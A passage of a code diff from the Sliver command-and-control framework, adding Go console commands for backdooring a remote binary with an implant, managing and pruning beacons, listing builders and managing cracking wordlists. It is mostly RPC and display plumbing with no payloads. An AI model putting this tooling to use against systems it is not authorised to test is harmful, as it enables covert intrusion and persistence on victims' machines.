+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+)
+
+// BackdoorCmd - Command to inject implant code into an existing binary
+func BackdoorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	remoteFilePath := args[0]
+	if remoteFilePath == "" {
+		con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
+		return
+	}
+
+	profileName, _ := cmd.Flags().GetString("profile")
+
+	grpcCtx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
+	con.SpinUntil(msg, ctrl)
+	backdoor, err := con.Rpc.Backdoor(grpcCtx, &clientpb.BackdoorReq{
+		FilePath:    remoteFilePath,
+		ProfileName: profileName,
+		Request:     con.ActiveTarget.Request(cmd),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if backdoor.Response != nil && backdoor.Response.Err != "" {
+		con.PrintErrorf("%s\n", backdoor.Response.Err)
+		return
+	}
+
+	con.PrintInfof("Uploaded backdoor'd binary to %s\n", remoteFilePath)
+}
@@ -0,0 +1,4 @@
+Beacons
+========
+
+This package implements the beacons command, which can be used to list and interact with beacons.
@@ -0,0 +1,204 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"regexp"
+	"strings"
+	"time"
+
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+
+	"github.com/bishopfox/sliver/client/command/kill"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// BeaconsCmd - Display/interact with beacons
+func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	killFlag, _ := cmd.Flags().GetString("kill")
+	killAll, _ := cmd.Flags().GetBool("kill-all")
+
+	// Handle kill
+	if killFlag != "" {
+		beacon, err := GetBeacon(con, killFlag)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		err = kill.KillBeacon(beacon, cmd, con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Println()
+		con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
+	}
+
+	if killAll {
+		beacons, err := GetBeacons(con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		for _, beacon := range beacons.Beacons {
+			err = kill.KillBeacon(beacon, cmd, con)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			con.Println()
+			con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
+		}
+	}
+	filter, _ := cmd.Flags().GetString("filter")
+	var filterRegex *regexp.Regexp
+	if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" {
+		var err error
+		filterRegex, err = regexp.Compile(filterRe)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+
+	grpcCtx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	PrintBeacons(beacons.Beacons, filter, filterRegex, con)
+}
+
+// PrintBeacons - Display a list of beacons
+func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
+	if len(beacons) == 0 {
+		con.PrintInfof("No beacons 🙁\n")
+		return
+	}
+	tw := renderBeacons(beacons, filter, filterRegex, con)
+	con.Printf("%s\n", tw.Render())
+}
+
+func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
+	width, _, err := term.GetSize(0)
+	if err != nil {
+		width = 999
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	wideTermWidth := con.Settings.SmallTermWidth < width
+	if wideTermWidth {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Name",
+			"Tasks",
+			"Transport",
+			"Remote Address",
+			"Hostname",
+			"Username",
+			"Operating System",
+			"Locale",
+			"Last Check-in",
+			"Next Check-in",
+		})
+	} else {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Name",
+			"Transport",
+			"Hostname",
+			"Username",
+			"Operating System",
+			"Last Check-in",
+			"Next Check-in",
+		})
+	}
+
+	for _, beacon := range beacons {
+		color := console.Normal
+		activeBeacon := con.ActiveTarget.GetBeacon()
+		if activeBeacon != nil && activeBeacon.ID == beacon.ID {
+			color = console.Green
+		}
+
+		// We need a slice of strings so we can apply filters
+		var rowEntries []string
+
+		if wideTermWidth {
+			rowEntries = []string{
+				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
+				fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
+				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
+			}
+		} else {
+			rowEntries = []string{
+				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
+				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
+			}
+		}
+		// Build the row struct
+		row := table.Row{}
+		for _, entry := range rowEntries {
+			row = append(row, entry)
+		}
+		// Apply filters if any
+		if filter == "" && filterRegex == nil {
+			tw.AppendRow(row)
+		} else {
+			for _, rowEntry := range rowEntries {
+				if filter != "" {
+					if strings.Contains(rowEntry, filter) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+				if filterRegex != nil {
+					if filterRegex.MatchString(rowEntry) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+			}
+		}
+	}
+	return tw
+}
@@ -0,0 +1,134 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"errors"
+	"fmt"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+var (
+	// ErrNoBeacons - No sessions available
+	ErrNoBeacons = errors.New("no beacons")
+	// ErrNoSelection - No selection made
+	ErrNoSelection = errors.New("no selection")
+	// ErrBeaconNotFound
+	ErrBeaconNotFound = errors.New("no beacon found for this ID")
+)
+
+// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
+func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(beacons.Beacons) == 0 {
+		return nil, ErrNoBeacons
+	}
+
+	beaconsMap := map[string]*clientpb.Beacon{}
+	for _, beacon := range beacons.Beacons {
+		beaconsMap[beacon.ID] = beacon
+	}
+	keys := []string{}
+	for beaconID := range beaconsMap {
+		keys = append(keys, beaconID)
+	}
+	sort.Strings(keys)
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Column Headers
+	for _, key := range keys {
+		beacon := beaconsMap[key]
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
+			beacon.ID,
+			beacon.Name,
+			beacon.RemoteAddress,
+			beacon.Hostname,
+			beacon.Username,
+			fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
+		)
+	}
+	table.Flush()
+
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a beacon:",
+		Options: options,
+	}
+	selected := ""
+	survey.AskOne(prompt, &selected)
+	if selected == "" {
+		return nil, ErrNoSelection
+	}
+
+	// Go from the selected option -> index -> session
+	for index, option := range options {
+		if option == selected {
+			return beaconsMap[keys[index]], nil
+		}
+	}
+	return nil, ErrNoSelection
+}
+
+func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(beacons.Beacons) == 0 {
+		return nil, ErrNoBeacons
+	}
+	for _, beacon := range beacons.Beacons {
+		if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
+			return beacon, nil
+		}
+	}
+	return nil, ErrBeaconNotFound
+}
+
+func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(beacons.Beacons) == 0 {
+		return nil, ErrNoBeacons
+	}
+	return beacons, nil
+}
@@ -0,0 +1,88 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// BeaconsPruneCmd - Prune stale beacons automatically
+func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	duration, _ := cmd.Flags().GetString("duration")
+	pruneDuration, err := time.ParseDuration(duration)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
+	grpcCtx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	pruneBeacons := []*clientpb.Beacon{}
+	for _, beacon := range beacons.Beacons {
+		nextCheckin := time.Unix(beacon.NextCheckin, 0)
+		if time.Now().Before(nextCheckin) {
+			continue
+		}
+		delta := time.Since(nextCheckin)
+		if pruneDuration <= delta {
+			pruneBeacons = append(pruneBeacons, beacon)
+		}
+	}
+	if len(pruneBeacons) == 0 {
+		con.PrintInfof("No beacons to prune.\n")
+		return
+	}
+	con.PrintWarnf("The following beacons and their tasks will be removed:\n")
+	for index, beacon := range pruneBeacons {
+		beacon, err := con.Rpc.GetBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			continue
+		}
+		con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
+	}
+	con.Println()
+	confirm := false
+	prompt := &survey.Confirm{Message: "Prune these beacons?"}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+	errCount := 0
+	for _, beacon := range pruneBeacons {
+		_, err := con.Rpc.RmBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			errCount++
+		}
+	}
+	con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
+}
@@ -0,0 +1,42 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+)
+
+// BeaconsRmCmd - Display/interact with beacons
+func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	beacon, err := SelectBeacon(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	grpcCtx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+	_, err = con.Rpc.RmBeacon(grpcCtx, beacon)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
+}
@@ -0,0 +1,68 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// BeaconsWatchCmd - Watch your beacons in real-ish time
+func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	done := waitForInput()
+	defer func() {
+		con.Printf(console.UpN+console.Clearln+"\r", 1)
+		con.Printf(console.UpN+console.Clearln+"\r", 1)
+	}()
+	for {
+		select {
+		case <-done:
+			return
+		case <-time.After(time.Second):
+			beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+			if err != nil {
+				panic(err) // If we return we may leak the waiting goroutine, so we panic instead
+			}
+			tw := renderBeacons(beacons.Beacons, "", nil, con)
+			lines := strings.Split(tw.Render(), "\n")
+			for _, line := range lines {
+				con.Printf(console.Clearln+"\r%s\n", line)
+			}
+			con.Printf("\nPress enter to stop.\n")
+			con.Printf(console.UpN+"\r", len(lines)+2)
+		}
+	}
+}
+
+func waitForInput() <-chan bool {
+	done := make(chan bool, 1)
+	go func() {
+		defer close(done)
+		fmt.Scanf("\n")
+		done <- true
+	}()
+	return done
+}
@@ -1,50 +0,0 @@
-package command
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/bishopfox/sliver/client/spin"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-func binject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.Get()
-	if session == nil {
-		fmt.Println(Warn + "Please select an active session via `use`")
-		return
-	}
-
-	if len(ctx.Args) < 1 {
-		fmt.Println(Warn + "Please provide a remote file path. See `help backdoor` for more info")
-		return
-	}
-
-	profileName := ctx.Flags.String("profile")
-	remoteFilePath := ctx.Args[0]
-
-	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
-	go spin.Until(msg, ctrl)
-	backdoor, err := rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
-		FilePath:    remoteFilePath,
-		ProfileName: profileName,
-		Request:     ActiveSession.Request(ctx),
-	})
-	ctrl <- true
-	<-ctrl
-	if err != nil {
-		fmt.Printf(Warn+"Error: %v", err)
-		return
-	}
-
-	if backdoor.Response != nil && backdoor.Response.Err != "" {
-		fmt.Printf(Warn+"Error: %s\n", backdoor.Response.Err)
-		return
-	}
-
-	fmt.Printf(Info+"Uploaded backdoored binary to %s\n", remoteFilePath)
-
-}
@@ -0,0 +1,72 @@
+package builders
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// BuildersCmd - List external builders
+func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	if len(builders.Builders) == 0 {
+		con.PrintInfof("No external builders connected to server\n")
+	} else {
+		PrintBuilders(builders.Builders, con)
+	}
+}
+
+func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name", "Operator", "Templates", "Platform", "Compiler Targets",
+	})
+	for _, builder := range externalBuilders {
+
+		targets := []string{}
+		for _, target := range builder.Targets {
+			targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
+		}
+
+		row := table.Row{
+			builder.Name,
+			builder.OperatorName,
+			strings.Join(builder.Templates, ", "),
+			fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
+			strings.Join(targets, "\n"),
+		}
+		tw.AppendRow(table.Row(row))
+	}
+	con.Printf("%s\n", tw.Render())
+}
@@ -2,7 +2,7 @@ package command

 /*
 	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
+	Copyright (C) 2023  Bishop Fox

 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -19,157 +19,60 @@ package command
 */

 import (
-	"context"
-	"fmt"
-	"time"
+	"strings"

-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/desertbit/grumble"
-
-	"gopkg.in/AlecAivazis/survey.v1"
+	"github.com/reeflective/console"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
 )

-const (
-	// ANSI Colors
-	normal    = "\033[0m"
-	black     = "\033[30m"
-	red       = "\033[31m"
-	green     = "\033[32m"
-	orange    = "\033[33m"
-	blue      = "\033[34m"
-	purple    = "\033[35m"
-	cyan      = "\033[36m"
-	gray      = "\033[37m"
-	bold      = "\033[1m"
-	clearln   = "\r\x1b[2K"
-	upN       = "\033[%dA"
-	downN     = "\033[%dB"
-	underline = "\033[4m"
+const defaultTimeout = 60

-	// Info - Display colorful information
-	Info = bold + cyan + "[*] " + normal
-	// Warn - Warn a user
-	Warn = bold + red + "[!] " + normal
-	// Debug - Display debug information
-	Debug = bold + purple + "[-] " + normal
-	// Woot - Display success
-	Woot = bold + green + "[$] " + normal
-)
+// Flags is a convenience function to bind flags to a given command.
+// name - The name of the flag set (can be empty).
+// cmd  - The command to which the flags should be bound.
+// flags - A function exposing the flag set through which flags are declared.
+func Flags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) {
+	flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set.
+	flags(flagSet)                                           // Let the user bind any number of flags to it.

-var (
-
-	// ActiveSession - The current sliver we're interacting with
-	ActiveSession = &activeSession{
-		observers:  map[int]Observer{},
-		observerID: 0,
+	if persistent {
+		cmd.PersistentFlags().AddFlagSet(flagSet)
+	} else {
+		cmd.Flags().AddFlagSet(flagSet)
 	}
-
-	stdinReadTimeout = 10 * time.Millisecond
-)
-
-// Observer - A function to call when the sessions changes
-type Observer func(*clientpb.Session)
-
-type activeSession struct {
-	session    *clientpb.Session
-	observers  map[int]Observer
-	observerID int
 }

-// GetInteractive - GetInteractive the active session
-func (s *activeSession) GetInteractive() *clientpb.Session {
-	if s.session == nil {
-		fmt.Printf(Warn + "Please select an active session via `use`\n")
+// FlagComps is a convenience function for adding completions to a command's flags.
+// cmd - The command owning the flags to complete.
+// bind - A function exposing a map["flag-name"]carapace.Action.
+func FlagComps(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) {
+	comps := make(carapace.ActionMap)
+	bind(&comps)
+
+	carapace.Gen(cmd).FlagCompletion(comps)
+}
+
+// hideCommand generates a cobra annotation map with a single
+// console.CommandHiddenFilter key, which value is a comma-separated list
+// of filters to use in order to expose/hide commands based on requirements.
+// Ex: cmd.Annotations = hideCommand("windows") will hide the cmd
+// if the target session/beacon is not a Windows host.
+func hideCommand(filters ...string) map[string]string {
+	if len(filters) == 0 {
 		return nil
 	}
-	return s.session
-}

-// Get - Same as Get() but doesn't print a warning
-func (s *activeSession) Get() *clientpb.Session {
-	if s.session == nil {
-		return nil
-	}
-	return s.session
-}
-
-// AddObserver - Observers to notify when the active session changes
-func (s *activeSession) AddObserver(observer Observer) int {
-	s.observerID++
-	s.observers[s.observerID] = observer
-	return s.observerID
-}
-
-func (s *activeSession) RemoveObserver(observerID int) {
-	if _, ok := s.observers[observerID]; ok {
-		delete(s.observers, observerID)
-	}
-}
-
-func (s *activeSession) Request(ctx *grumble.Context) *commonpb.Request {
-	if s.session == nil {
-		return nil
-	}
-	timeout := int(time.Second) * ctx.Flags.Int("timeout")
-	return &commonpb.Request{
-		SessionID: s.session.ID,
-		Timeout:   int64(timeout),
-	}
-}
-
-// Set - Change the active session
-func (s *activeSession) Set(session *clientpb.Session) {
-	s.session = session
-	for _, observer := range s.observers {
-		observer(s.session)
-	}
-}
-
-// Background - Background the active session
-func (s *activeSession) Background() {
-	s.session = nil
-	for _, observer := range s.observers {
-		observer(nil)
-	}
-}
-
-// GetSession - Get session by session ID or name
-func GetSession(arg string, rpc rpcpb.SliverRPCClient) *clientpb.Session {
-	sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-		return nil
-	}
-	for _, session := range sessions.GetSessions() {
-		if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
-			return session
+	if len(filters) == 1 {
+		return map[string]string{
+			console.CommandFilterKey: filters[0],
 		}
 	}
-	return nil
-}

-// GetSessionsByName - Return all sessions for an Implant by name
-func GetSessionsByName(name string, rpc rpcpb.SliverRPCClient) []*clientpb.Session {
-	sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-		return nil
-	}
-	matched := []*clientpb.Session{}
-	for _, session := range sessions.GetSessions() {
-		if session.Name == name {
-			matched = append(matched, session)
-		}
-	}
-	return matched
-}
+	filts := strings.Join(filters, ",")

-// This should be called for any dangerous (OPSEC-wise) functions
-func isUserAnAdult() bool {
-	confirm := false
-	prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
-	survey.AskOne(prompt, &confirm, nil)
-	return confirm
+	return map[string]string{
+		console.CommandFilterKey: filts,
+	}
 }
@@ -0,0 +1,4 @@
+Completers
+===========
+
+This package contains general purpose completers for the console, note that some package also contain their own package-specific completers. 
@@ -0,0 +1,57 @@
+package completers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"net"
+
+	"github.com/rsteube/carapace"
+)
+
+// ClientInterfacesCompleter completes interface addresses on the client host.
+func ClientInterfacesCompleter() carapace.Action {
+	return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
+		ifaces, err := net.Interfaces()
+		if err != nil {
+			return carapace.ActionMessage("failed to get net interfaces: %s", err.Error())
+		}
+
+		results := make([]string, 0)
+
+		for _, i := range ifaces {
+			addrs, err := i.Addrs()
+			if err != nil {
+				continue
+			}
+
+			for _, a := range addrs {
+				switch v := a.(type) {
+				case *net.IPAddr:
+					results = append(results, v.IP.String())
+				case *net.IPNet:
+					results = append(results, v.IP.String())
+				default:
+					results = append(results, v.String())
+				}
+			}
+		}
+
+		return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':')
+	})
+}
@@ -0,0 +1,505 @@
+package crack
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"crypto/sha256"
+	"encoding/hex"
+	"io"
+	"os"
+
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/klauspost/compress/zstd"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/util"
+)
+
+// CrackWordlistsCmd - Manage GPU cracking stations
+func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(wordlists.Files) == 0 {
+		con.PrintInfof("No wordlists, add some using `crack wordlists add`\n")
+	} else {
+		PrintCrackFiles(wordlists, con)
+		con.Println()
+		con.Printf("Disk quota %02.2f%% - %s of %s\n",
+			(float64(wordlists.CurrentDiskUsage)/float64(wordlists.MaxDiskUsage))*100,
+			util.ByteCountBinary(wordlists.CurrentDiskUsage),
